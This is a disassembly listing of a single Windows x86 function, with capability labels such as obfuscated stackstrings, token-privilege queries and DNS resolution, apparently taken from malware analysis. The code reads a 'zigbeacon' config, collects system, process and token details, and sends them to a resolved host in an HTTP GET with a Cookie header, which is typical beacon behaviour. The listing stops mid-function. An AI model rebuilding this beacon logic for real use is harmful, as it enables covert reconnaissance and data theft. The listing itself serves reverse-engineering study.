Function at 0x403104
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Get system information on windows
Get token privileges
Hash data using sha256
Resolve dns
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
mov eax, 0x10a0
call fcn.00401589
mov esi, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
xor edi, edi
dec edi
call fcn.00424977
cmp dword [esi + edi*4 + 4], 0
lea edi, [edi + 1]
jne 0x403125
lea edx, [esp + 0x4c]
mov eax, dword [ebp + 8]
mov dword [0x4310b8], esi
lea esi, [esp + 0x70]
mov dword [0x4310b0], ebx
mov dword [0x4310bc], edi
mov dword [edx], str.zigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.config
mov dword [edx + 4], 0x400
and dword [edx + 8], 0
mov ecx, esi
mov dword [0x4310b4], eax
call fcn.0040478e
cmp word [esi], 0
jne 0x403a99
mov ebx, dword [0x42b168]
mov edi, dword [0x42b16c]
movzx eax, byte [esp + 0x72]
lea esi, [esp + 0xfc]
mov ecx, esi
mov edx, ebx
push eax
push edi
call fcn.004047e9
pop eax
pop ecx
cmp word [esi + 8], 0
jne 0x403a99
mov eax, dword [esp + 0x100]
mov edx, dword [esp + 0xfc]
lea ecx, [esp + 0x4c]
mov dword [esp + 4], edx
mov dword [esp + 0x14], eax
push eax
call fcn.00404843
pop ecx
test ax, ax
jne 0x403a99
lea esi, [esp + 0x78]
lea edx, [esp + 0x4c]
mov ecx, esi
call fcn.0040478e
cmp word [esi], 0
jne 0x403a99
movzx eax, byte [esp + 0x7a]
lea esi, [esp + 0x180]
mov edx, ebx
mov ecx, esi
push eax
push edi
call fcn.004047e9
pop eax
pop ecx
cmp word [esi + 8], 0
jne 0x403a99
mov eax, dword [esp + 0x184]
mov edx, dword [esp + 0x180]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x24], edx
mov dword [esp + 0xc], eax
push eax
call fcn.00404843
pop ecx
test ax, ax
jne 0x403a99
lea edi, [esp + 0x80]
lea edx, [esp + 0x4c]
mov ecx, edi
call fcn.004048a2
cmp word [edi + 2], 0
jne 0x403a99
movzx eax, word [esp + 0x80]
lea edi, [esp + 0x88]
lea edx, [esp + 0x4c]
mov ecx, edi
mov word [esp + 0x1c], ax
call fcn.0040478e
cmp word [edi], 0
jne 0x403a99
movzx eax, byte [esp + 0x8a]
lea edi, [esp + 0x280]
mov edx, ebx
mov ecx, edi
mov dword [esp + 0x18], eax
push eax
push dword [0x42b16c]
call fcn.004047e9
pop eax
pop ecx
cmp word [edi + 8], 0
jne 0x403a99
mov edx, dword [esp + 0x280]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x20], edx
push dword [esp + 0x284]
call fcn.00404843
pop ecx
test ax, ax
jne 0x403a99
lea edi, [esp + 0x94]
lea edx, [esp + 0x4c]
mov ecx, edi
call fcn.004048a2
cmp word [edi + 2], 0
jne 0x403a99
movzx eax, word [esp + 0x94]
lea edi, [esp + 0x380]
mov edx, ebx
mov ecx, edi
mov dword [esp + 0x2c], eax
push eax
push dword [0x42b16c]
call fcn.004047e9
pop eax
pop ecx
cmp word [edi + 8], 0
jne 0x403a99
mov edx, dword [esp + 0x380]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x48], edx
push dword [esp + 0x384]
call fcn.00404843
pop ecx
test ax, ax
jne 0x403a99
lea edi, [esp + 0x30]
lea edx, [esp + 0x4c]
mov ecx, edi
call fcn.004048d7
cmp word [edi + 4], 0
jne 0x403a99
lea edi, [esp + 0xac]
lea edx, [esp + 0x4c]
mov ecx, edi
call fcn.0040478e
cmp word [edi], 0
jne 0x403a99
mov al, byte [esp + 0xae]
lea edi, [esp + 0xb8]
lea edx, [esp + 0x4c]
mov ecx, edi
mov byte [esp + 0xb], al
call fcn.004048d7
cmp word [edi + 4], 0
mov eax, dword [0x42b16c]
jne 0x403a99
lea edi, [esp + 0xb8]
movzx ecx, byte [esp + 0xb]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ebx
and dword [esp + 0x3c], 0
and dword [esp + 0x38], 0
mov edx, dword [edi]
mov dword [esp + 0xd8], ecx
mov dword [esp + 0xd4], edx
call sub.KERNEL32.dll_GetVersion
mov dword [esp + 0xa0], eax
mov edx, edi
push 0x10
call fcn.00404905
pop eax
lea ecx, [esp + 0x280]
call fcn.0040492a
mov dword [esp + 0x4c], eax
mov edi, eax
mov eax, edx
mov dword [esp + 0x50], edx
mov dword [esp + 0x54], 0x42afa2
mov dword [esp + 0x44], edx
xor eax, eax
inc eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], str.windows
mov dword [esp + 0x60], 7
mov dword [esp + 0x64], 0x42afac
mov dword [esp + 0x68], eax
xor eax, eax
push 0xffffffffffffffe0
pop ecx
test ecx, ecx
je 0x403441
add eax, dword [esp + ecx + 0x70]
add ecx, 8
jmp 0x403434
lea edx, [esp + 0x30]
lea ecx, [esp + 0x380]
push eax
push 0x42b574
call fcn.004047e9
pop eax
pop ecx
lea eax, [esp + 0x380]
cmp word [eax + 8], 0
jne 0x403a99
mov eax, dword [esp + 0xa0]
shr eax, 0x10
mov dword [esp + 0xcc], eax
mov eax, dword [esp + 0x380]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x384]
mov edx, dword [esp + 0x6c]
mov dword [esp + 0xd0], eax
xor eax, eax
cmp dword [esp + 0x44], eax
je 0x4034aa
mov cl, byte [edi + eax]
mov byte [edx + eax], cl
inc eax
jmp 0x40349b
mov dword [esp + 0x40], 0
cmp dword [esp + 0x40], 3
je 0x4034f1
mov eax, dword [esp + 0x40]
mov edx, dword [esp + 0x44]
mov ecx, dword [esp + eax*8 + 0x54]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + eax*8 + 0x58]
mov eax, dword [esp + 0x6c]
lea edi, [eax + edx]
xor eax, eax
cmp ecx, eax
je 0x4034e7
mov edx, dword [esp + 0x10]
mov dl, byte [edx + eax]
mov byte [edi + eax], dl
inc eax
jmp 0x4034d6
add dword [esp + 0x44], ecx
inc dword [esp + 0x40]
jmp 0x4034b2
lea ecx, [esp + 0x280]
call fcn.004049ae
mov edi, edx
lea ecx, [esp + 0x88]
lea edx, [esp + 0x30]
push edi
push eax
mov eax, 0x42b574
push eax
call fcn.00404a3b
add esp, 0xc
lea eax, [esp + 0x88]
cmp word [eax + 8], 0
jne 0x403a99
mov eax, dword [esp + 0x88]
lea ecx, [esp + 0x380]
lea edx, [esp + 0x280]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x44], eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x10]
movzx edi, word [eax + 0x38]
shr edi, 1
push edi
push dword [eax + 0x3c]
push 0x100
call fcn.00404a86
add esp, 0xc
lea eax, [esp + 0x380]
lea ecx, [esp + 0x280]
mov edx, dword [eax]
call fcn.00404b32
mov edi, edx
lea ecx, [esp + 0x94]
lea edx, [esp + 0x30]
push edi
push eax
mov eax, 0x42b574
push eax
call fcn.00404a3b
add esp, 0xc
lea eax, [esp + 0x94]
cmp word [eax + 8], 0
jne 0x403a99
mov eax, dword [esp + 0x94]
movsd xmm0, qword [esp + 0xb8]
movsd xmm1, qword [esp + 0xc0]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x98]
movsd qword [esp + 0x148], xmm0
movsd qword [esp + 0x150], xmm1
mov dword [esp + 0xc8], eax
mov eax, dword [0x4310ac]
test eax, eax
jne 0x40361d
lea edi, [esp + 0x380]
mov edx, edi
push 4
call fcn.00404905
pop eax
mov eax, 0x7ffffffe
and eax, dword [edi]
mov ecx, eax
xchg dword [0x4310ac], ecx
mov dword [esp + 0xfc], eax
call sub.KERNEL32.dll_GetCurrentProcessId
and dword [esp + 0x180], 0
and dword [esp + 0x380], 0
lea edi, [esp + 0x380]
mov dword [esp + 0x100], eax
push edi
push 4
push esi
push 0x14
push 0xfffffffffffffffc
call sub.ADVAPI32.dll_GetTokenInformation
xor esi, esi
xorps xmm0, xmm0
cmp dword [esp + 0x180], esi
movaps xmmword [esp + 0x390], xmm0
movaps xmmword [esp + 0x380], xmm0
setne al
and dword [esp + 0x3a0], 0
shl al, 3
mov byte [esp + 0x2b], al
push edi
call sub.KERNEL32.dll_GetNativeSystemInfo
mov cl, byte [esp + 0x2b]
movzx eax, cl
or cl, 4
cmp word [esp + 0x380], 9
movzx ecx, cl
cmovne ecx, eax
mov eax, dword [esp + 0xa0]
mov byte [esp + 0x15c], cl
mov ecx, edi
mov byte [esp + 0x15d], al
mov byte [esp + 0x15e], ah
mov eax, dword [esp + 0xcc]
mov word [esp + 0x146], ax
and dword [esp + 0x104], 0
mov dword [esp + 0x108], 0x427358
mov dword [esp + 0x10c], 0x42736a
call fcn.0040492a
mov byte [esp + edx + 0x380], 0
call fcn.00404ba0
push edi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x40371d
cmp word [eax + 8], 2
jne 0x40371d
cmp word [eax + 0xa], 0
je 0x40371d
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov esi, dword [eax]
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0xd0]
lea edx, [esp + 0x134]
movsd xmm0, qword [esp + 0x30]
movsd xmm1, qword [esp + 0x38]
mov dword [edx - 0x24], esi
mov esi, dword [esp + 0x10]
mov dword [edx - 0x20], eax
mov dword [edx - 0x1c], ecx
mov ecx, dword [esp + 0x44]
mov dword [edx - 0x18], esi
mov esi, dword [esp + 0x40]
mov dword [edx - 0x14], ecx
mov ecx, dword [esp + 0xc8]
mov dword [edx - 0x10], esi
lea esi, [esp + 0x380]
mov dword [edx - 0xc], ecx
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
mov dword [edx + 0x24], 0xfde9fde9
and word [edx + 0x10], 0
mov ecx, esi
push 0x400
push 0x42b574
call fcn.00404c06
pop eax
pop ecx
cmp word [esi + 0x14], 0
jne 0x403a99
mov eax, dword [esp + 0x390]
movsd xmm0, qword [esp + 0x380]
movsd xmm1, qword [esp + 0x388]
lea edx, [esp + 0x180]
lea esi, [esp + 0xdc]
mov ecx, esi
mov dword [edx + 0x10], eax
movsd qword [edx + 8], xmm1
movsd qword [edx], xmm0
push 4
push 0x42af98
call fcn.00404c5c
pop eax
pop ecx
cmp word [esi + 4], 0
jne 0x403a99
lea esi, [esp + 0xe4]
lea edx, [esp + 0x180]
mov ecx, esi
push 4
push 0x42af9d
call fcn.00404c5c
pop eax
pop ecx
cmp word [esi + 4], 0
jne 0x403a99
lea esi, [esp + 0xec]
lea eax, [esp + 0x148]
lea edx, [esp + 0x180]
mov ecx, esi
push 0x10
push eax
call fcn.00404c5c
pop eax
pop ecx
cmp word [esi + 4], 0
jne 0x403a99
lea esi, [esp + 0xf4]
lea eax, [esp + 0x158]
lea edx, [esp + 0x180]
mov ecx, esi
push 2
push eax
call fcn.00404c5c
pop eax
pop ecx
cmp word [esi + 4], 0
jne 0x403a99
lea esi, [esp + 0xa4]
lea eax, [esp + 0x15a]
lea edx, [esp + 0x180]
mov ecx, esi
push 2
push eax
call fcn.00404c5c
pop eax
pop ecx
cmp word [esi + 4], 0
jne 0x403a99
mov edx, dword [esp + 0xfc]
lea ecx, [esp + 0x180]
call fcn.00404c7e
test ax, ax
jne 0x403a99
mov edx, dword [esp + 0x100]
lea ecx, [esp + 0x180]
call fcn.00404c7e
test ax, ax
jne 0x403a99
mov edx, dword [esp + 0x144]
lea ecx, [esp + 0x180]
call fcn.00404c9c
test ax, ax
jne 0x403a99
mov edx, dword [esp + 0x15c]
lea ecx, [esp + 0x180]
call fcn.00404cbf
test ax, ax
jne 0x403a99
movzx edx, byte [esp + 0x15d]
lea ecx, [esp + 0x180]
call fcn.00404cbf
test ax, ax
jne 0x403a99
movzx edx, byte [esp + 0x15e]
lea ecx, [esp + 0x180]
call fcn.00404cbf
test ax, ax
jne 0x403a99
movzx edx, word [esp + 0x146]
lea ecx, [esp + 0x180]
call fcn.00404c9c
test ax, ax
jne 0x403a99
mov edx, dword [esp + 0x104]
lea ecx, [esp + 0x180]
call fcn.00404c7e
test ax, ax
jne 0x403a99
mov edx, dword [esp + 0x108]
lea ecx, [esp + 0x180]
call fcn.00404c7e
test ax, ax
jne 0x403a99
mov edx, dword [esp + 0x10c]
lea ecx, [esp + 0x180]
call fcn.00404c7e
test ax, ax
jne 0x403a99
mov edx, dword [esp + 0x110]
lea ecx, [esp + 0x180]
call fcn.00404c7e
test ax, ax
jne 0x403a99
lea esi, [esp + 0x70]
lea edx, [esp + 0x180]
mov ecx, esi
push dword [esp + 0x118]
push dword [esp + 0x118]
call fcn.00404c5c
pop eax
pop ecx
cmp word [esi + 4], 0
jne 0x403a99
lea ecx, [esp + 0x180]
push 9
pop edx
call fcn.00404cbf
test ax, ax
jne 0x403a99
lea esi, [esp + 0x78]
lea edx, [esp + 0x180]
mov ecx, esi
push dword [esp + 0x120]
push dword [esp + 0x120]
call fcn.00404c5c
pop eax
pop ecx
cmp word [esi + 4], 0
jne 0x403a99
lea ecx, [esp + 0x180]
push 9
pop edx
call fcn.00404cbf
test ax, ax
jne 0x403a99
lea esi, [esp + 0x80]
lea edx, [esp + 0x180]
mov ecx, esi
push dword [esp + 0x128]
push dword [esp + 0x128]
call fcn.00404c5c
pop eax
pop ecx
cmp word [esi + 4], 0
jne 0x403a99
lea esi, [esp + 0xac]
lea edx, [esp + 0x180]
mov ecx, esi
call fcn.00404cdd
cmp word [esi + 8], 0
je 0x403aa4
xor eax, eax
inc eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea ecx, [esp + 0xac]
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
lea edx, [ecx - 8]
bswap edx
mov dword [eax + 4], edx
mov dword [esp + 0x12c], eax
lea eax, [esp + 0x3d0]
mov dword [esp + 0x130], ecx
mov dword [eax - 0x50], 0x42ec94
push 8
pop ecx
mov edi, eax
mov esi, 0x42d98c
rep movsd dword es:[edi], dword [esi]
and dword [eax - 4], 0
and dword [eax - 8], 0
push 0x10
lea eax, [esp + 0x14c]
push eax
lea esi, [esp + 0x388]
push esi
call fcn.0042039d
add esp, 0xc
lea eax, [esp + 0x180]
push eax
push esi
call fcn.00420590
pop eax
pop ecx
lea esi, [esp + 0x184]
movsd xmm1, qword [esi + 4]
movsd xmm0, qword [esi - 4]
movsd xmm2, qword [esi + 0xc]
movsd qword [esp + 0x167], xmm1
movsd xmm1, qword [esi + 0x14]
movsd qword [esp + 0x15f], xmm0
movsd qword [esp + 0x16f], xmm2
movsd qword [esp + 0x177], xmm1
push 0x84
lea eax, [esp + 0x100]
push eax
push esi
call fcn.0040307b
add esp, 0xc
mov edi, dword [esp + 4]
mov dword [esi - 4], 1
mov ecx, dword [esp + 0x24]
mov eax, esi
mov edx, dword [esp + 0xc]
mov dword [esp + 0x10], 0x3e8
mov dword [esi + 0x84], edi
mov esi, dword [esp + 0x14]
test ecx, ecx
mov dword [eax + 0x88], esi
mov dword [eax + 0x8c], ecx
mov dword [eax + 0x90], edx
mov edx, dword [esp + 0x48]
lea eax, [esp + 0x218]
mov dword [eax], edx
mov edx, dword [esp + 0x2c]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x20]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x18]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0xd4]
mov dword [eax + 0x14], edx
mov edx, dword [0x42b16c]
mov dword [eax + 0x18], ebx
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x1c]
mov word [eax + 0x20], dx
mov edx, dword [esp + 0xd8]
mov word [eax + 0x22], dx
mov eax, ecx
lea ecx, [esp + 0x23c]
movzx edx, word [esp + 0x1c]
cmove eax, edi
mov dword [ecx], edi
mov dword [ecx + 4], esi
mov dword [ecx + 8], eax
mov eax, dword [esp + 0xc]
cmove eax, esi
and dword [esp + 0xbe], 0
and dword [esp + 0xba], 0
and dword [esp + 0xc2], 0
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], edi
mov dword [ecx + 0x14], esi
mov ecx, dword [0x42b16c]
movsd xmm0, qword [esp + 0xb8]
movsd xmm1, qword [esp + 0xbe]
lea eax, [esp + 0x254]
mov dword [eax], ebx
mov dword [eax + 4], ecx
mov word [eax + 8], dx
movsd qword [eax + 0x10], xmm1
movsd qword [eax + 0xa], xmm0
mov dword [eax + 0x18], ebx
mov dword [eax + 0x1c], ecx
and dword [eax + 0x20], 0
lea eax, [esp + 0x278]
mov dword [eax], ebx
mov dword [eax + 4], ecx
mov dword [eax - 0x50], 0x3e8
cmp byte [esp + 0xb], 0
je 0x403d4a
movzx ecx, byte [esp + 0xb]
mov eax, dword [esp + 0x10]
mul ecx
push 0
push 0x64
push edx
push eax
call fcn.00401793
add esp, 0x10
mov esi, eax
mov ecx, dword [0x42b598]
mov ebx, edx
mov dword [esp + 0x18], edx
lea edx, [esp + 0x380]
mov dword [esp + 0xc], eax
add esi, 1
adc ebx, 0
push 8
call dword [0x42b59c]
add esp, 4
mov ecx, dword [esp + 0x380]
mov edi, dword [esp + 0x384]
mov dword [esp + 0x24], esi
mov eax, ecx
mov dword [esp + 0x14], edi
mul esi
mov dword [esp + 4], eax
mov eax, edi
mov dword [esp + 0x1c], edx
mul esi
mov esi, eax
mov edi, edx
mov eax, ecx
add esi, dword [esp + 0x1c]
mov dword [esp + 0x1c], ebx
adc edi, 0
mul ebx
mov ecx, eax
mov eax, dword [esp + 0x14]
add ecx, esi
adc edx, edi
mov dword [esp + 0x14], ecx
mov esi, edx
setb byte [esp + 0x20]
mul ebx
mov edi, eax
movzx eax, byte [esp + 0x20]
add edi, esi
adc edx, eax
mov eax, dword [esp + 0xc]
mov esi, edx
mov edx, eax
cmp eax, dword [esp + 4]
mov eax, dword [esp + 0x18]
mov ebx, eax
sbb eax, ecx
jae 0x403df8
add edi, dword [esp + 0x10]
adc esi, 0
jmp 0x403d50
mov edi, dword [esp + 0x10]
xor esi, esi
mov eax, edi
mov ecx, 0xf4240
mul ecx
imul ecx, esi, 0xf4240
add edx, ecx
mov ecx, eax
call fcn.00404d8b
mov ebx, dword [esp + 0x1b8]
mov esi, dword [esp + 0x21c]
lea eax, [ebx + 0xb]
cmp esi, eax
jb 0x4041d7
mov eax, dword [esp + 0x1b4]
mov edx, dword [esp + 0x278]
lea ecx, [esp + 0x380]
mov dword [esp + 4], eax
push esi
push dword [esp + 0x280]
call fcn.004047e9
pop eax
pop ecx
cmp word [esp + 0x388], 0
jne 0x4041d7
mov eax, dword [esp + 0x384]
mov edi, dword [esp + 0x380]
sub esi, ebx
mov dword [esp + 0x14], eax
lea eax, [esi - 3]
mov word [edi], 0x200
lea edx, [edi + 2]
push eax
call fcn.00404905
pop eax
push 3
pop eax
cmp esi, eax
je 0x403ea6
cmp byte [edi + eax - 1], 0
jne 0x403df5
mov byte [edi + eax - 1], 0x2a
inc eax
jmp 0x403de1
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
not edx
not ebx
sub edx, eax
sbb ebx, ecx
push ecx
push eax
push ebx
push edx
call fcn.004017ae
add esp, 0x10
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x20]
cmp dword [esp + 4], eax
sbb dword [esp + 0x14], ecx
jae 0x403d41
mov ecx, dword [0x42b598]
lea edx, [esp + 0x380]
push 8
call dword [0x42b59c]
add esp, 4
mov esi, dword [esp + 0x380]
mov edi, dword [esp + 0x24]
mov ecx, dword [esp + 0x384]
mov eax, esi
mov dword [esp + 0xc], ecx
mul edi
mov dword [esp + 4], eax
mov eax, ecx
mov dword [esp + 0x14], edx
mov ecx, dword [esp + 0x1c]
mul edi
mov ebx, eax
mov edi, edx
mov eax, esi
add ebx, dword [esp + 0x14]
adc edi, 0
mul ecx
add eax, ebx
mov esi, edx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0xc]
adc esi, edi
setb bl
mul ecx
mov edi, eax
movzx eax, bl
add edi, esi
adc edx, eax
mov esi, edx
jmp 0x403e1c
mov ebx, dword [esp + 0x14]
mov byte [edi + esi - 1], 0
lea eax, [edi + esi]
mov ecx, ebx
sub ecx, esi
push ecx
push dword [esp + 8]
push eax
call fcn.0040307b
add esp, 0xc
lea eax, [esp + 0x218]
push eax
push ebx
push edi
call fcn.0042447c
add esp, 0xc
mov eax, dword [esp + 0x258]
mov esi, dword [esp + 0x254]
xor ecx, ecx
mov edx, ebx
inc ecx
mov dword [esp + 4], eax
call fcn.00404db6
lea ecx, [esp + 0xfc]
mov edx, esi
push eax
push dword [esp + 8]
call fcn.004047e9
pop eax
pop ecx
cmp word [esp + 0x104], 0
jne 0x4041bd
mov edx, dword [esp + 0xfc]
mov esi, dword [esp + 0x100]
mov ecx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov dword [esp + 4], edx
push dword [esp + 0x14]
push edi
push esi
call fcn.00404de7
add esp, 0xc
mov edx, dword [esp + 0x254]
lea eax, [esi + 0x200]
lea ecx, [esp + 0x380]
push eax
push dword [esp + 0x25c]
call fcn.00404c06
pop eax
pop ecx
cmp word [esp + 0x394], 0
jne 0x4041ab
mov eax, dword [esp + 0x390]
movsd xmm0, qword [esp + 0x380]
movsd xmm1, qword [esp + 0x388]
lea ecx, [esp + 0xdc]
lea edx, [esp + 0x280]
mov dword [esp + 0x290], eax
movsd qword [esp + 0x288], xmm1
movsd qword [esp + 0x280], xmm0
push 0xb
push str.GET__fwlink
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0xe0], 0
jne 0x40419f
lea ecx, [esp + 0xe4]
lea edx, [esp + 0x280]
push 9
push str._HTTP_1.1
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0xe8], 0
jne 0x40419f
lea ecx, [esp + 0xec]
lea edx, [esp + 0x280]
push 2
push 0x42afb7
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0xf0], 0
jne 0x40419f
lea ecx, [esp + 0xf4]
lea edx, [esp + 0x280]
push 6
push str.Host:
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0xf8], 0
jne 0x40419f
lea ecx, [esp + 0xa4]
lea edx, [esp + 0x280]
push dword [esp + 0x250]
push dword [esp + 0x250]
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0xa8], 0
jne 0x40419f
lea ecx, [esp + 0x70]
lea edx, [esp + 0x280]
push 2
push 0x42afb7
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0x74], 0
jne 0x40419f
lea ecx, [esp + 0x78]
lea edx, [esp + 0x280]
push 0x11
push str.Connection:_close
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0x7c], 0
jne 0x40419f
lea ecx, [esp + 0x80]
lea edx, [esp + 0x280]
push 2
push 0x42afb7
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0x84], 0
jne 0x40419f
lea ecx, [esp + 0x88]
lea edx, [esp + 0x280]
push 8
push str.Cookie:
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0x8c], 0
jne 0x40419f
lea ecx, [esp + 0x94]
lea edx, [esp + 0x280]
push esi
push dword [esp + 8]
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0x98], 0
jne 0x40419f
lea ecx, [esp + 0x30]
lea edx, [esp + 0x280]
push 2
push 0x42afb7
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0x34], 0
jne 0x40419f
mov edx, dword [esp + 0x284]
lea ecx, [esp + 0x280]
add edx, 2
call fcn.00404eb3
test ax, ax
jne 0x40419f
lea ecx, [esp + 0x4c]
lea edx, [esp + 0x280]
push 2
push 0x42afb7
call fcn.00404c5c
pop eax
pop ecx
cmp word [esp + 0x50], 0
je 0x4041f2
lea ecx, [esp + 0x280]
call fcn.00404f43
mov edx, dword [esp + 4]
lea ecx, [esp + 0x254]
push esi
call fcn.00404f61
pop eax
mov ecx, dword [esp + 0x278]
mov edx, dword [esp + 0x27c]
push dword [esp + 0x14]
push edi
call fcn.0040622c
pop eax
pop ecx
mov eax, dword [esp + 0x228]
mov cl, byte [esp + 0x23a]
mov dword [esp + 0x10], eax
mov byte [esp + 0xb], cl
jmp 0x403c7e
lea ebx, [esp + 0x280]
lea ecx, [esp + 0xac]
lea edx, [esp + 0x23c]
push ebx
call fcn.00404f8c
pop eax
mov ecx, ebx
call fcn.00404f43
mov edx, dword [esp + 4]
lea ecx, [esp + 0x254]
push esi
call fcn.00404f61
pop eax
cmp word [esp + 0xb4], 0
jne 0x4041bd
mov ecx, dword [esp + 0xb0]
mov eax, dword [esp + 0xac]
mov si, 0x46
cmp ecx, 0x20
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], ecx
jb 0x4042e7
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x24]
lea ebx, [esp + 0xfc]
lea ecx, [eax - 0x10]
lea eax, [edx + eax - 0x10]
mov dword [esp + 4], eax
lea eax, [esp + 0x1f7]
mov dword [esp + 0x18], ecx
mov ecx, ebx
push eax
push dword [esp + 0x1c]
call fcn.00406251
pop eax
pop ecx
mov ecx, dword [esp + 4]
push 0x10
pop edx
push 0x10
push ebx
call fcn.004062f4
pop ecx
pop edx
test al, 1
je 0x40466d
test byte [esp + 0x1c], 0xf
mov si, 4
jne 0x4042e7
mov esi, dword [esp + 0x278]
mov ebx, dword [esp + 0x27c]
lea ecx, [esp + 0x380]
call fcn.00418860
lea ecx, [esp + 0x30]
mov edx, esi
push dword [esp + 0x18]
push dword [esp + 0x28]
push ebx
call fcn.00404a3b
add esp, 0xc
movzx esi, word [esp + 0x38]
test si, si
je 0x4042ec
jmp 0x40466d
mov eax, dword [esp + 0x30]
mov esi, dword [esp + 0x1044]
mov ebx, dword [esp + 0x34]
mov dword [esp + 0x20], eax
push 0x10
lea eax, [esp + 0x1eb]
push eax
lea eax, [esp + 0x288]
push eax
call dword [esi + 0xc]
mov ecx, esi
add esp, 0xc
mov esi, ebx
mov dword [esp + 0x58], 0x706f6e6d
mov dword [esp + 0x54], 0x6c6b6a69
mov dword [esp + 0x50], 0x68676665
mov dword [esp + 0x4c], 0x64636261
push ebx
mov ebx, dword [esp + 0x24]
push ebx
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x28c]
push eax
call dword [ecx + 0x10]
add esp, 0x10
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], esi
and dword [esp + 0x38], 0
lea ecx, [esp + 0xa4]
lea edx, [esp + 0x30]
mov dword [esp + 0x18], esi
call fcn.00406325
movzx esi, word [esp + 0xa8]
test si, si
jne 0x404658
mov eax, dword [esp + 0xa4]
lea ecx, [esp + 0x70]
lea edx, [esp + 0x30]
mov dword [esp + 0x10], eax
call fcn.00406325
movzx esi, word [esp + 0x74]
test si, si
jne 0x404658
mov eax, dword [esp + 0x70]
add eax, 8
cmp eax, dword [esp + 0x18]
mov dword [esp + 0x48], eax
jbe 0x4043c6
mov si, 3
jmp 0x404658
mov ecx, dword [esp + 0x27c]
mov eax, dword [esp + 0x278]
mov dword [esp + 0x380], 0xaaaaaaaa
and dword [esp + 0x384], 0
and dword [esp + 0x388], 0
xor edx, edx
inc edx
mov dword [esp + 0x390], ecx
lea ecx, [esp + 0x380]
mov dword [esp + 0x38c], eax
call fcn.0040634c
test ax, ax
je 0x404418
mov esi, eax
jmp 0x404658
mov eax, dword [esp + 0x390]
movsd xmm0, qword [esp + 0x380]
movsd xmm1, qword [esp + 0x388]
mov dword [esp + 0x290], eax
movsd qword [esp + 0x288], xmm1
movsd qword [esp + 0x280], xmm0
mov eax, dword [esp + 0x48]
cmp eax, dword [esp + 0x38]
jbe 0x40457c
lea ecx, [esp + 0x78]
lea edx, [esp + 0x30]
call fcn.00406325
movzx esi, word [esp + 0x7c]
test si, si
jne 0x404658
mov eax, dword [esp + 0x78]
lea ecx, [esp + 0x80]
lea edx, [esp + 0x30]
mov dword [esp + 0x2c], eax
call fcn.00406325
movzx esi, word [esp + 0x84]
test si, si
jne 0x404658
mov eax, dword [esp + 0x80]
lea ecx, [eax + 0x10]
cmp ecx, dword [esp + 0x18]
ja 0x4043bd
mov edx, dword [esp + 0x278]
lea ecx, [esp + 0x4c]
push eax
push dword [esp + 0x280]
call fcn.004047e9
pop eax
pop ecx
movzx esi, word [esp + 0x54]
test si, si
jne 0x404658
mov edx, dword [esp + 0x4c]
mov eax, dword [esp + 0x50]
lea ecx, [esp + 0x30]
mov ebx, edx
mov dword [esp + 4], eax
push eax
call fcn.004064c2
pop ecx
test ax, ax
jne 0x4045d9
mov eax, dword [esp + 0x284]
mov edx, dword [esp + 0x288]
